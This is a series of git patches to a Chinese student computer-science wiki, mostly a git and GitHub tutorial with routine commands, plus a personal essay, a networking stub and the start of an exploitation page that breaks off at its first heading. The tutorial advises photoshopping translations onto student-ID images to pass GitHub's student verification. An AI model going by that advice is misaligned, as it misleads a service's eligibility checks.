z`Ebd}N^D*42MAr14r{-<*cE%Ru$a}T;6$CkqE1V1JYDZwNz%U#O%k!%H-}2V9_MCOzph6m(zq><61=dxLYz7lFD^O6bB*8d8vLYJ&Ui1-l8?)LKC29jq17Tr z?hG=^R%wA$;#e>0R6v}DepUxw{|H?(ZnTGWu&&OK&3C?&5#)oiB4u^8HP8HoSYL}* z2U*zm;p-o`_FJv3_3&CJ>om2Vqs)f@%HBYPtaA#oW%sY-muXt z#9Cki6DO=l@tr-L?a|U)Uo+&2+09jf>@fqpD`M2VQf0uI+T?rA3{PZ?AAJf>yrzd{ z5U-9R^AA|0F?vd*0^2eRH~de2YA1ZpqK-!eLd285k|!hZ$zG)`Wf! zl~A*eB!*%_f$Y^$%8VVTgOa7v0D*x!QGh0@RFuEtUnZ2^?(1-#R*T&ox8eJK7sC&- zfzA!9N{n$|k#!2AMJ)6S<==jYE&^%yAqyR9qbCV6)}g<~0LHS)ql=uTt+V^N`eDP! z+!ic<+&Q!}86g5r;Fwl2{JuF&G)}IYm_Uk=$3s4iz24)xyevJf?m_>mvgIFl<3A0* zJ*bthh>u_)z|+9k_x)aw5`9Gh53cIZmP$bJGgWH}GjJi##-GTCvo(HqDAQzd~c3$4!lu7b%d%-i5`4!!`J}_t4H?j1y4(ucMDkW&|DzBiJ~% zd3!x5&bmML!UmCf<@Xc`IeiDZTgU*n3z=CEYJ3pW80Ny38taDWh-ruh#c7#pQ&+rN zmhGN3c3pNVXoulMZ}RI+gkz4_rs(9_g&{#dSc}uGu#mO;9T`XyjlWx3jDZFPJk9RLet8SZKmk zlj(8abGUiOC7=selZS1ZmS)e_ECysAeI2OuRCANCP zLKpB~AvB);S?_0RY<_!XF*>HF)m7J3fFnL^rg~XGQ+xnV>fYJSXv*)BYZXet+wG2e zP)Cv?Vy)3S6-{3gpN0!B!9Wb_yWv=iB*lDKgPJKAe=TewnB2vUcn(8?kTbDmq&^o% zMN1Z0Z>svWLft?ou>z>VE_U>i5b4*`-HI?ene)ZNq9{sdMN^DW8-h66*v#K`@k^7O zp9CgG!^opuY^Vz#wce#G&Jw?g!E(eEjidnWa~4KO6WP6}ig_A9Jnlq=ZJ@USADaVy z5FA}r3tc67 zwWH_jN~dCppr<68vDndFPtTB){*VB|2RpAH0?$b!W8E?w`^s_%(F60l3po3!2L=X3 zG2bng+33EZ)eFATiQ&PxHVyc~6W!zQ#B#C+d;c2r*;{5+po!*!Dt z7aAutAt;;yRS4WL>v`(NO!Li;BhZ5dqj&6|6yYUh?N-jZtXo2NZj zjfy;QiXC`GH-~ATY)U{DMyqyrAGki!i&)6l+nA$wJ3VW3>Rb}%ex=U7HdH}xxz-V9 z*+uM=u$gHy3Vfy3m}E!S5NBwrCpWx?=NzE@AISX3cks@uw(PM$hS+mdjbdSolHBw< z+v&j>i%{%_xwWcOY{iNF{MdI?RZ#6)3{86nw*Px8RG@c8wZ6y71spS-_8R@Ky+aIT zK+C7hLcMt3z@qpJaM)lc28~P!LNsVb_3qq#b)0=E;x0Cl&q}7)`YZ*kNd-} zTs1z!K}`u=naH#Dq^^7+Nhj!$fOWxeV!BieTIN+dgsoR7O}`m5dWEY(V`1czrulId zPO2GYZjPaMs8rV2;pA*;yEwuDFBKUqWkt%pv|4W*h;8~k39dKRpr|a07+T}=J=6Q7 z_tyW_-McLC6R5Y==uk|pcvOHQu*024L3j7vw{IdmX0MG07$XyubHAd|2a5)b-X!;{ zapjg+;Xjd~LX^Cuh1Ky;D;3M%Hc>M}E?|~f+Hc^F#2!m#NOchjzl%1bf-(8%{rvGNws#D5}i8(wQ}DmuF|3 z(9J%h-I^IMGgwz3O6L;Nk8VcQn|(83osrUg@-mlN@Q2vUAz* z+Q}!sI%irp`QDr?ToW|y1+@mDO{ zjc()6=;_>LVLH#i*vUazL@@rM@}A89-BRPVYp;2@n4a@PZulK zNO0E-`Y=D;Q>wo*yl=GJ^Xfm4A3l;^8@47ILxH?^mIBN{@XJpPwlw`wY*enl(uT{w z*9)4aIFo#_J*tC5tSCb!{pX7W5W=?G9Wqb3)EYaI;ldCGdav#(J+bli`4xHY7(eG& zza&+sk1+eNadE_8oNnw~G;MomV!2d>Id>KTA%9z$=tx+w{WW_%ky)x)C|(I4xl5qrALWD4*a|DU~!O>CB6ixeL^ zbA{E3Nmlx{m4uI9Vz|RHK_kdNY04ho{;}K%$dMAJP23GOdoli-pZl7l@=1W&U2Tsi zlOk1NkR4BxT|7r@P|HdPeOK`IidO$e?pA9Y-Lj-4t;zehhLp z{yy$twz|5yk##HUc!>@UZ(;*-)23kK#_kAd$%t9z z&5U@}DKx6mRXMZ33WF0;*0;d<9kOZPkOUb#IZWBjVCm1-@N7n&?d&FB9I|IiQ6)JEot(`gRT#HqmVSJ& z?mG`T71R6E9IieanLObZk!-uBSZc2fIuQ5|L_lVvCT<|->LDs~=iivl+ z0Ii=%4C}x)Bx8upEg{05LKAf>mn-@6Rj(z5gnj`r8{xL{eG|X_pFr*lgzNn- z=<)9D>Lk)3iZ|*4YR1@9LCOxNf(Df|dup($97y&AfP`N=-In~g#CBUUeprAYb)1G_ zwM%nD{@PO>6YRI+jIEo~Oc|2W7twa+r<)bON_<@~nDNdVZ*r%Myh z1UVszr6N}`G|iwK$#+_BDgnheXn?ha9OC4ZFU!;&u-u%gO&(iTOGb?KCt_-#$MK?G z7Hrro*s3U1c3rsTZireg&`FJDcPfa)p2pR*lv}M-6EUb|@D61!yfT=P z0B(vg`nklV18oz=!I{*Dm(2U(h9?L-<}CN)%A0Ksp3=Zddoe9ncKc*G)Ni~ktpT + 欢迎加群与学长交流!我们也可以针对你的喜好为你定制一个方案! **群号:669895692** From 5c1aaf6e4fdefb8426eb53b0684385c483be70a6 Mon Sep 17 00:00:00 2001 From: camera-2018 <2907618001@qq.com> Date: Sun, 16 Jul 2023 18:07:33 +0800 Subject: [PATCH 58/85] docs: git --- 3.编程思维体系构建/3.5git与github.md | 244 +++++++++++++----- 1 file changed, 179 insertions(+), 65 deletions(-) diff --git a/3.编程思维体系构建/3.5git与github.md b/3.编程思维体系构建/3.5git与github.md index e30ec5e..8c51999 100644 --- a/3.编程思维体系构建/3.5git与github.md +++ b/3.编程思维体系构建/3.5git与github.md @@ -22,7 +22,7 @@ - Linux 下 -``` +```bash # Debian , Ubuntu sudo apt install git ``` @@ -35,7 +35,7 @@ sudo apt install git 安装好之后,你需要先进行一些配置工作。在终端里输入以下命令: -``` +```bash git config --global user.name "Zhang San" # your name git config --global user.email "zhangsan@foo.com" # your email ``` @@ -44,7 +44,7 @@ git config --global user.email "zhangsan@foo.com" # your email 你会通过 `git clone` 命令来拉取远程仓库的代码,里面已经包含一些 `git` 记录,因此不需要额外进行初始化。如果你想在别的实验、项目中使用 `git` ,你首先需要切换到实验、项目的目录中,然后输入 -``` +```bash git init ``` @@ -54,7 +54,7 @@ git init 使用 -``` +```bash git log ``` @@ -64,7 +64,7 @@ git log 使用 -``` +```bash git status ``` @@ -76,23 +76,23 @@ git status 首先你需要使用 `git status` 查看是否有新的文件或已修改的文件未被跟踪;若有,则使用 `git add` 将文件加入跟踪列表,例如 -``` +```bash git add file.c ``` -会将 `file.c` 加入跟踪列表。如果需要一次添加所有未被跟踪的文件,你可以使用 +会将 `file.c` 加入**跟踪列表**。如果需要一次添加所有未被跟踪的文件,你可以使用 -``` +```bash git add -A -# or +# 或者 git add . ``` 但这样可能会跟踪了一些不必要的文件(二进制文件),例如编译产生的 `.o` 文件,和最后产生的可执行文件。事实上,我们只需要跟踪代码源文件即可。为了让 `git` 在添加跟踪文件之前作筛选,你可以编辑 `.gitignore` 文件( 没有的话手动创建 文件名就叫这个 ),在里面给出需要被 `git` 忽略的文件和文件类型。 -这个网页可以根据你搜索的语言来给你创建必要的 `.gitignore` 文件 +[这个网页](https://www.toptal.com/developers/gitignore) 可以根据你搜索的语言来给你创建必要的 `.gitignore` 文件 -``` +```bash # .gitignore文件示例 .idea # 编辑器配置 __pycache__ # 缓存文件夹 @@ -107,13 +107,13 @@ file.o # 一个编译后的文件 把新文件加入跟踪列表后, 使用 `git status` 再次确认. 确认无误后就可以存档了, 使用 -``` +```bash git commit -m "...comment..." ``` 提交工程当前的状态(注释)。其中 `...comment...` 是你本次提交的注释( 一般在注释中简略写出本次提交干了什么)以下为注释规范,养成良好习惯请遵守: -``` +```bash 模板: type(scope): subject @@ -149,7 +149,7 @@ subject为commit概述 如果你遇到了上文提到的让你悲痛欲绝的情况,现在你可以使用光玉来救你一命了。首先使用 `git log` 来查看已有的存档,并决定你需要回到哪个过去。每一份存档都有一个 `hash code`,例如 `b87c512d10348fd8f1e32ddea8ec95f87215aaa5` , 你需要通过 `hash code` 来告诉 `git` 你希望读哪一个档。使用以下命令进行读档: -``` +```bash git reset --hard b87c ``` @@ -161,7 +161,7 @@ git reset --hard b87c 当然还是有办法来避免上文提到的副作用的,这就是 `git` 的分支功能。使用命令: -``` +```bash git branch ``` @@ -169,7 +169,7 @@ git branch 读档的时候使用以下命令: -``` +```bash git checkout b87c ``` @@ -178,13 +178,13 @@ git checkout b87c - 查看 `b87c` 存档的内容 - 使用以下命令切换到其它分支 -``` +```bash git checkout 分支名 ``` - 对代码的内容进行修改,但你不能使用 `git commit` 进行存档,你需要使用 -``` +```bash git checkout -B 分支名 ``` @@ -200,23 +200,50 @@ git checkout -B 分支名 ## 全球最大男性交友网站 —— Github +::: tip 🤡 +想象一下你正在进行人生中第一次软件开发的小组合作。 + +你把任务分配好让组员去写代码中的某一个模块。组员写好之后发给你。 + +你一看,通过QQ发过来的是一个文件啊文件 比如说 `学生管理模块.c` 你打开一看,我去是**乱码**。 + +你废了九牛二虎之力把他的 GBK 编码改成 UTF8 之后,细细地品鉴这段代码,发现我去有严重逻辑错误,而且代码很不规范。 + +你通过QQ告诉他,这一行有问题,能不能改一下。他说,好的我改一下。 + +然后又发了文件啊文件给你,如此反复循环,你俩已经互相传了好几百个源代码文件,很没效率! +::: + + +> 通过Git版本控制管理自己的代码 ,再通过Github来发布、同步互联,是一个很好的解决方案! + 简介 作为开源代码库以及版本控制系统,Github 拥有超过 900 万开发者用户。随着越来越多的应用程序转移到了云上,Github 已经成为了管理软件开发以及发现已有代码的首选方法。 -页面大概是这样: +页面大概是这样(老图): ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHemi9HkeAG1fgoznHbHLrc.png) ### Git 和 Github -[GitHub](https://github.com/)[ ](https://github.com/)是一个面向开源及私有软件项目的托管平台,因为只支持 Git 作为唯一的版本库格式进行托管,故名 GitHub。 +[GitHub](https://github.com/)是一个面向开源及私有软件项目的托管平台,因为只支持 Git 作为唯一的版本库格式进行托管,故名 GitHub。 ### Git 绑定 Github +::: tip 🤗 +下面将教学如何注册这个网站,并给[本项目](https://github.com/camera-2018/hdu-cs-wiki)点一个小小的 kita kita 的 star🎇 +::: + #### 第一步:注册账号 -([GitHub 官网](https://github.com/))右上角 sign up 会有一个非常酷炫的界面指引你注册 🥳 +([GitHub 官网](https://github.com/))右上角点击 sign up 会有一个非常酷炫的界面指引你注册 🥳 + +他会用一个像是命令行交互的方式引导注册,你需要依次填写 `邮箱` 、`密码` 、 `用户名(此为 ID 非昵称)` 、`是否同意邮箱广告推送` 、`机器验证码` 之后创建账户,随后会给你填写的邮箱发送验证码,填写注册。 + +随后是一个欢迎问卷😋随便填写、如果他问你什么PRO Plan 选择 free 不付费就好。 + +最后你访问[GitHub 官网](https://github.com)应该会显示你的 dashboard 管理台界面 #### 第二步:创建 SSH Key 并获取公钥 @@ -226,7 +253,7 @@ git checkout -B 分支名 如果没有,打开 Shell( Windows 下打开 Git Bash 前提是你已经安装好了 git 在桌面右键应该会有 Git bash here 选项 ),创建 SSH Key: -```powershell +```bash ssh-keygen -t rsa -C "youremail@example.com" # youremail为你注册用的电子邮件地址 ``` @@ -234,9 +261,9 @@ ssh-keygen -t rsa -C "youremail@example.com" # youremail为你注册用的电 #### 第三步:绑定 Github -登陆 `GitHub`,打开 `settings` +登陆 `GitHub`,点击右上角自己的头像,打开 `settings` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn9VFPUYHl8ghJ3C78RsXjtf.png) +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Snipaste_2023-07-16_17-12-32.png) 然后打开左侧栏 `SSH and GPG`` keys` 页面 @@ -246,8 +273,9 @@ ssh-keygen -t rsa -C "youremail@example.com" # youremail为你注册用的电 #### 第四步:创建仓库并和本地绑定 -绑定完 GitHub 然后你可以创建仓库了 -首先在 GitHub 主页,找到 “New” 按钮,创建一个新的仓库 +绑定完 GitHub 然后你可以创建仓库了 + +首先在 GitHub 主页,找到 `New` 或者 `Create repository` 一个绿色的按钮,创建一个新的仓库 ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn5sVnE76FYpVW2RDxtWDiZc.png) @@ -259,7 +287,7 @@ ssh-keygen -t rsa -C "youremail@example.com" # youremail为你注册用的电 在 git bash 中输入: -```powershell +```bash git remote add origin git@github.com:yourname/gitexample.git # 请将yourname换成自己的id ``` @@ -268,16 +296,24 @@ git remote add origin git@github.com:yourname/gitexample.git 或者是直接 git clone 下来 -```powershell +```bash git clone git@github.com:yourname/gitexample.git ``` +> 以上方法是基于 ssh 方式的,下面方法是基于 HTTPS 方式的 + +或者你可以跟随新创建之后的指引,`…or create a new repository on the command line` 内他描述了如何创建一个文件夹、创建一个README.md的文件,然后和github仓库绑定。 + +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Snipaste_2023-07-16_17-19-18.png) + + + ### 下载代码——clone 拷贝他人存档也未尝不可,而我们如果用他人存档时,次次都需要一样一样的拷贝文件和代码未免太过折磨,下面简单介绍如何使用 -```powershell -git clone [url] +```bash +git clone ``` 接下去对着下面这个 GitHub 的代码使用一下 @@ -289,18 +325,26 @@ git clone [url] 然后复制完代码后切换回我们的命令行 ```bash -e: #powershell or cmd -# 进入到想要存储该代码的地方 +# powershell or cmd +# 进入(cd)到想要存储该代码的地方(父文件夹目录) git clone https://github.com/camera-2018/git-example.git ``` +> 这里使用的[例子](https://github.com/camera-2018/git-example)是我的仓库,当然你也可以用你自己的仓库。 +> +> 如果你使用我的仓库的话,你 clone 过后在你自己电脑更改的文件等东西,是没法直接提交回来的(因为你没有我仓库管理权限) +> +> 如果你非要给我的仓库添加东西呢 也是可以,参照下面的 PR (Pull Request)教程 + 一阵抽搐过后就下载好了 ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png) -注意:用完之后别忘记给 camera-2018 点个 follow 呃呃 follow 没用 star 有用 +::: tip +用完之后别忘记给 camera-2018 点个 follow 😋 `呃呃 follow 没用 star 有用` +::: -注意:失败就重试吧 还失败建议使用魔法 +注意:失败就重试吧 还失败建议使用魔法(非国内网你懂得) ### 提交和合并分支 @@ -332,61 +376,131 @@ git add . #将没有提交的所有文件加入暂存区 git commit -m "feat(helloworld): add helloworld file" ``` -将刚才加入暂区的文件发起了一个提交 注释是 `feat(helloworld): add helloworld file` +将刚才加入暂区的文件发起了一个提交,提交注释(commit message)是 `feat(helloworld): add helloworld file` ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcni2dupDzNO8qTWPAxS5c67b.png) -1. 如果这是你自己的仓库有权限 你就可以直接使用 +1. 如果这是你自己的仓库有权限(本人仓库或 Collaborators 有权限的情况下)你就可以直接使用 -```bash -git push origin main # origin是第四步里remote add起的远程名字 - # main是分支名 -``` + ```bash + git push origin main # origin是第四步里remote add起的远程名字 + # main是分支名 + ``` -上传本次提交 + 上传本次提交 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnNBu1EJnva4EkyQZAVlwGMe.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnNBu1EJnva4EkyQZAVlwGMe.png) -1. 如果你没有本仓库的主分支提交权限 可以提交 pr(pull requests) +2. 如果你没有本仓库的主分支提交权限 可以提交 PR(Pull Requests) -这里假设我是协作者 无主分支权限 + **第一种情况:这里假设我是协作者 无主分支权限,但有创建分支权限** -首先创建一个新分支 命名为 `yourname-dev` + 首先创建一个新分支 命名为 `yourname-dev` -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnaS7aOzdt31vsZZx8R1s33e.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnaS7aOzdt31vsZZx8R1s33e.png) -然后按照上面的方法 `git clone` 并切换到你刚创建的分支 + 然后按照上面的方法 `git clone` 并切换到你刚创建的分支 -```bash -git switch camera-2018-dev -``` + ```bash + git switch camera-2018-dev + ``` -然后提交一个文件 这里使用 vscode 自带的 git 工具试试 + 然后提交一个文件,这里直接使用 vscode 自带的 git 工具试试 (很方便、不用敲命令行) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnmwlYWOzwPbNqTAuSZK9dW3.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnmwlYWOzwPbNqTAuSZK9dW3.png) -点暂存所有更改 写好 comment 之后点提交 + 点暂存所有更改 写好 comment 之后点提交 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfcCnAdtdX2oyLIC3NibVnf.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnfcCnAdtdX2oyLIC3NibVnf.png) -最后点同步更改上传 + 最后点同步更改上传 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png) -如果是你提交 在 github 上会显示这个 快捷创建 pr 的按钮 + 如果是你提交 在 github 上会显示这个 快捷创建 pr 的按钮 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHd7Qfi8C0Y7V2Ot5ii4vpf.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnHd7Qfi8C0Y7V2Ot5ii4vpf.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnyt3eeZQyN8b1xM1WjDrTGe.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnyt3eeZQyN8b1xM1WjDrTGe.png) -点它创建 pr + 点它创建 PR -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJOjh1Zfp9tCd3llL9NsEzb.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJOjh1Zfp9tCd3llL9NsEzb.png) -这样管理本仓库的人看到 pr 请求就可以 merge 合并辣 + 这样管理本仓库的人看到 pr 请求就可以 merge 合并辣 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnBMq0sw6c48jvjdPJwmAGtZ.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnBMq0sw6c48jvjdPJwmAGtZ.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngNZOSnYUtCKH6pm8UaUMNd.png) + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngNZOSnYUtCKH6pm8UaUMNd.png) -实际合作过程中可能会出现代码冲突无法 merge 的情况 😋 遇到了自己去 STFW 吧 + 实际合作过程中可能会出现代码冲突无法 merge 的情况 😋 遇到了自己去 STFW 吧 + + **第二种情况:我不是协作者、我什么权限也没有,我看了这个 public 项目后觉得很好但是有一些问题,我要给他贡献一些代码** + + 可以点击仓库右上角的 fork + + ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Snipaste_2023-07-16_17-34-21.png) + + 这样会在你的名下多出来一份这个同名仓库,而这个仓库你是拥有所有权限的,你可以 clone 你这个同名仓库,更改代码,提交代码之后 + + 回到源仓库点击 Pull Request 然后创建 PR `New pull request` + + 最上面会提示你说 + + Comparing changes + Choose two branches to see what’s changed or to start a new pull request. If you need to, you can also **compare across forks** . + + 点击小蓝字 `compare across forks` 这会让你对比你fork仓库和源代码仓库的提交记录,之后就可以创建 PR 了,原作者看到了会合并。 + + +### 其他功能 + +问题跟踪:GitHub的问题跟踪功能可用于报告软件中的问题、错误和功能请求,并进行讨论、分配和解决。 + +Wiki页面:用户可以创建和编辑与存储库相关的Wiki页面,用于提供项目的文档、指南、示例代码等。 + +Pull请求(Pull Requests):使用者可以将自己的代码变更提交给其他项目的所有者,并请求合并到主干代码中。 + +项目管理:GitHub提供项目管理功能,包括任务管理、里程碑(milestones)、项目板(project boards)等工具,可用于组织和跟踪项目的进展。 + +部署功能:GitHub可以与各种持续集成和部署(CI/CD)工具集成,帮助开发人员自动化构建、测试和部署他们的应用程序。 + +统计信息:GitHub提供有关存储库活动和贡献者的统计信息,例如提交图表、活动日历等,有助于跟踪和分析项目的发展。 + +社交功能:用户可以关注其他用户、存储库和组织,接收他们的更新和活动通知,并与他们进行交流和讨论。 + +代码审核(Code Review):GitHub的Pull请求功能允许团队成员对代码进行审查和讨论,以确保代码质量和最佳实践。 + +集成和扩展:GitHub支持与其他工具和服务的集成,例如持续集成(CI)工具、代码质量检查工具、项目管理工具等。 + +页面托管:GitHub Pages功能使您可以托管静态网站和文档,这在展示和共享项目文档、演示和博客等方面非常有用。 + +然后还有一些比如说 Copilot 之类的有用的功能。 + +[Copilot](https://github.com/features/copilot) 是 GitHub 推出的一款基于人工智能技术的代码辅助工具。它使用了机器学习模型 codex,并针对编写代码的场景进行了训练。 + +Copilot 可以根据上下文和输入的提示,为开发人员生成代码建议和自动完成。它可以通过分析现有代码库、注释和上下文来生成代码片段,提高编码效率并减少重复劳动。 + +## [Copilot](https://github.com/features/copilot) 白嫖教程 + +你需要学生认证你的 Github 账号。 + +地址在 https://education.github.com/students 点击 `Sign up for Global Campus` 来开始认证,下面会让你输入学校,绑定学校邮箱(杭电为 @hdu.edu.cn 结尾的邮箱)(如果你是杭电新生的话,可能要等到智慧杭电账号发放时才能注册杭电邮箱)并上传**学生证明**(从21年开始这个验证越来越严,如果不过的话你可以尝试 `学生证第一页`、`学生证第一页英文翻译(像有道翻译那样 P 图上去)`、`学信网学籍证明英文翻译(英文也是 P 上去)`) + +通过了的话你的账户会有 Pro 标识 然后你可以享受的 Github 学生包里包含[这些东西](https://education.github.com/pack) + +里面比较有用的有 +- JETBRAINS 全家桶的免费用(我没用,我用的是jb自己家的验证方式,不是github) +- name.com 家的一个一年期的免费域名(大概价值吧 六七十块钱?) +- github 的容量扩容和 actions 时间扩容、Codespaces 时间延长、Pages 扩容(没啥用倒是) +- Termius 学生包,这是我很喜欢用的终端软件,有学生包可以多端同步ssh的账号密码啥的,很方便。 +- Sentry 容量扩容 +- Copilot 免费用 + +你可以在 `settings` 里看到你的copilot ,配置如下 + +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Snipaste_2023-07-16_17-59-49.png) + +然后就可以在你喜欢的 IDE 或编辑器上下载 Copilot 插件,来启用他。 + +![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/Snipaste_2023-07-16_18-02-19.png) From 865aab368d2a8daa6bf570815911e386293f064e Mon Sep 17 00:00:00 2001 From: Krisnile <139679983+Krisnile@users.noreply.github.com> Date: Sun, 16 Jul 2023 18:15:42 +0800 Subject: [PATCH 59/85] =?UTF-8?q?Update=20wiki=E5=8F=B2.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- wiki史.md | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/wiki史.md b/wiki史.md index 1b0f450..3d18796 100644 --- a/wiki史.md +++ b/wiki史.md @@ -211,4 +211,22 @@ zzm 最先教我的除了让我认识到我大一的浑浑噩噩,也教会了 除了 Wiki,Cs61a 是 zzm 学长第一个推荐给我的课程,在学习了这门课程之后,我不仅意识到了一门优秀的课程应该是怎么样的,更加意识到了不去功利的学习一门知识,一门课程是多么轻松和有乐趣的。更重要的是,我认识到了 Wiki 存在的必要性,zzm 所要表达的从来也不是用利益去衡量的一种东西。 -以我很喜欢的 Datawhale 在 WAIC 上的论坛会的一段话作为结束:教育存在的意义与价值本质上就是帮助个体联通外界生态体系,使之与其他个体以及包含个体的小系统一起与外部生态系统间进行信息和能量的交换,从而适应并改造所能联通的生态系统的过程。 \ No newline at end of file +以我很喜欢的 Datawhale 在 WAIC 上的论坛会的一段话作为结束:教育存在的意义与价值本质上就是帮助个体联通外界生态体系,使之与其他个体以及包含个体的小系统一起与外部生态系统间进行信息和能量的交换,从而适应并改造所能联通的生态系统的过程。 + +## Krismile + +> 新的视角:「Krismile」,一个热爱计算机的22级学生,22级学生中最早接触 zzm 学长的一批人之一。 + +> 辗转,我买了一张列车票,可当我真正身处车内,才发现车窗外是一片黑夜,我看不清列车通往何处。 + +初入大学,我感到的是新奇、自由与无限的活力,但是我没有方向。我是一个焦虑的人,当我看不清未来的迷雾,我感到惶恐。我顺着中学的习惯去努力并试图用社团与实验室来充实自己,但我依旧没有自己的方向。 + +我所认为的方向,不是某个既定的专业方向或是某个学科的发展方向。它更像是一种途径与平台,一种弥补信息差,寻找并组织资源的力量。 + +正如张院长告诉我们,我们需要培养这样一种拓宽视野,组织领导的能力。而我认为,正是这种力量,让hdu-cs.wiki落实,让突破黑夜成为可能。这也是我从zzm身上看到的,他身上散发的光,他的积极与热血推动着理想向前。 + +寻找资源的能力与接受资源的能力同样重要,自我形成的学习模式与已有的教育发展模式当并驾齐驱。这个时代技术变迁极快,唯有思维模式与人文素养等难以变化的东西才能为个人对专业化知识的学习赋予持续动力。 + +通过WAIC,我接触到教育技术专家王志军老师,她所研究的联通主义学习或许与上述文字有相似之处,下面引用部分原话:联通主义学习是一种信息网络环境中复杂的学习,在这种学习中学习者应先学会如何选择学习内容。学习并不意味着记住或者重复某些内容,而是要求学习者投入创建和分享内容的过程中,建立起自身知识背景、经验与学习内容之间的连接。 + +与大家共勉:多看,多听,多尝试,多思考吧! From 98d3c8aaa1d4ba5ab465777dc03e65dfc06e9202 Mon Sep 17 00:00:00 2001 From: KAFUU <740371959@qq.com> Date: Mon, 17 Jul 2023 13:31:10 +0800 Subject: [PATCH 60/85] =?UTF-8?q?Update=209.=E8=AE=A1=E7=AE=97=E6=9C=BA?= =?UTF-8?q?=E7=BD=91=E7=BB=9C.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 9.计算机网络/9.计算机网络..md | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 9.计算机网络/9.计算机网络..md diff --git a/9.计算机网络/9.计算机网络..md b/9.计算机网络/9.计算机网络..md new file mode 100644 index 0000000..4042650 --- /dev/null +++ b/9.计算机网络/9.计算机网络..md @@ -0,0 +1,6 @@ +# 9.计算机网络 +计算机网络的定义: + + 利用通信线路和通信设备,将地理位置不同的、功能独立的多台计算机互连起来,以功能完善的网络软件来实现资源共享和信息传递,就构成了计算机网络系统。 + +而我们学习计算机网络本质上可以理解为学习这个网络系统中的各种网络协议。 \ No newline at end of file From 49a37b0cf33676166054eb4745ff0dcb91601aa8 Mon Sep 17 00:00:00 2001 From: 4nsw3r123 <2239888030@qq.com> Date: Mon, 17 Jul 2023 20:46:57 +0800 Subject: [PATCH 61/85] =?UTF-8?q?add=20=E8=BD=AF=E4=BB=B6=E7=A0=B4?= =?UTF-8?q?=E8=A7=A3=E8=BD=AF=E4=BB=B6=E5=8A=A0=E5=9B=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../6.2.3漏洞挖掘、漏洞利用.md | 172 ++++++++++++++++++ 6.计算机安全/static/backdoor.png | Bin 0 -> 25693 bytes 6.计算机安全/static/gdb.png | Bin 0 -> 69993 bytes 6.计算机安全/static/main.png | Bin 0 -> 14358 bytes 6.计算机安全/static/out1.PNG | Bin 0 -> 3925 bytes 6.计算机安全/static/out2.PNG | Bin 0 -> 3873 bytes 6.计算机安全/static/s.png | Bin 0 -> 2450 bytes 6.计算机安全/static/shell.png | Bin 0 -> 18067 bytes 6.计算机安全/static/stack.png | Bin 0 -> 4285 bytes 6.计算机安全/static/stack2.png | Bin 0 -> 212021 bytes 10 files changed, 172 insertions(+) create mode 100644 6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md create mode 100644 6.计算机安全/static/backdoor.png create mode 100644 6.计算机安全/static/gdb.png create mode 100644 6.计算机安全/static/main.png create mode 100644 6.计算机安全/static/out1.PNG create mode 100644 6.计算机安全/static/out2.PNG create mode 100644 6.计算机安全/static/s.png create mode 100644 6.计算机安全/static/shell.png create mode 100644 6.计算机安全/static/stack.png create mode 100644 6.计算机安全/static/stack2.png diff --git a/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md b/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md new file mode 100644 index 0000000..d1c4a28 --- /dev/null +++ b/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md @@ -0,0 +1,172 @@ +# 漏洞挖掘、漏洞利用 +## 常见二进制安全漏洞 +### 栈溢出 +#### 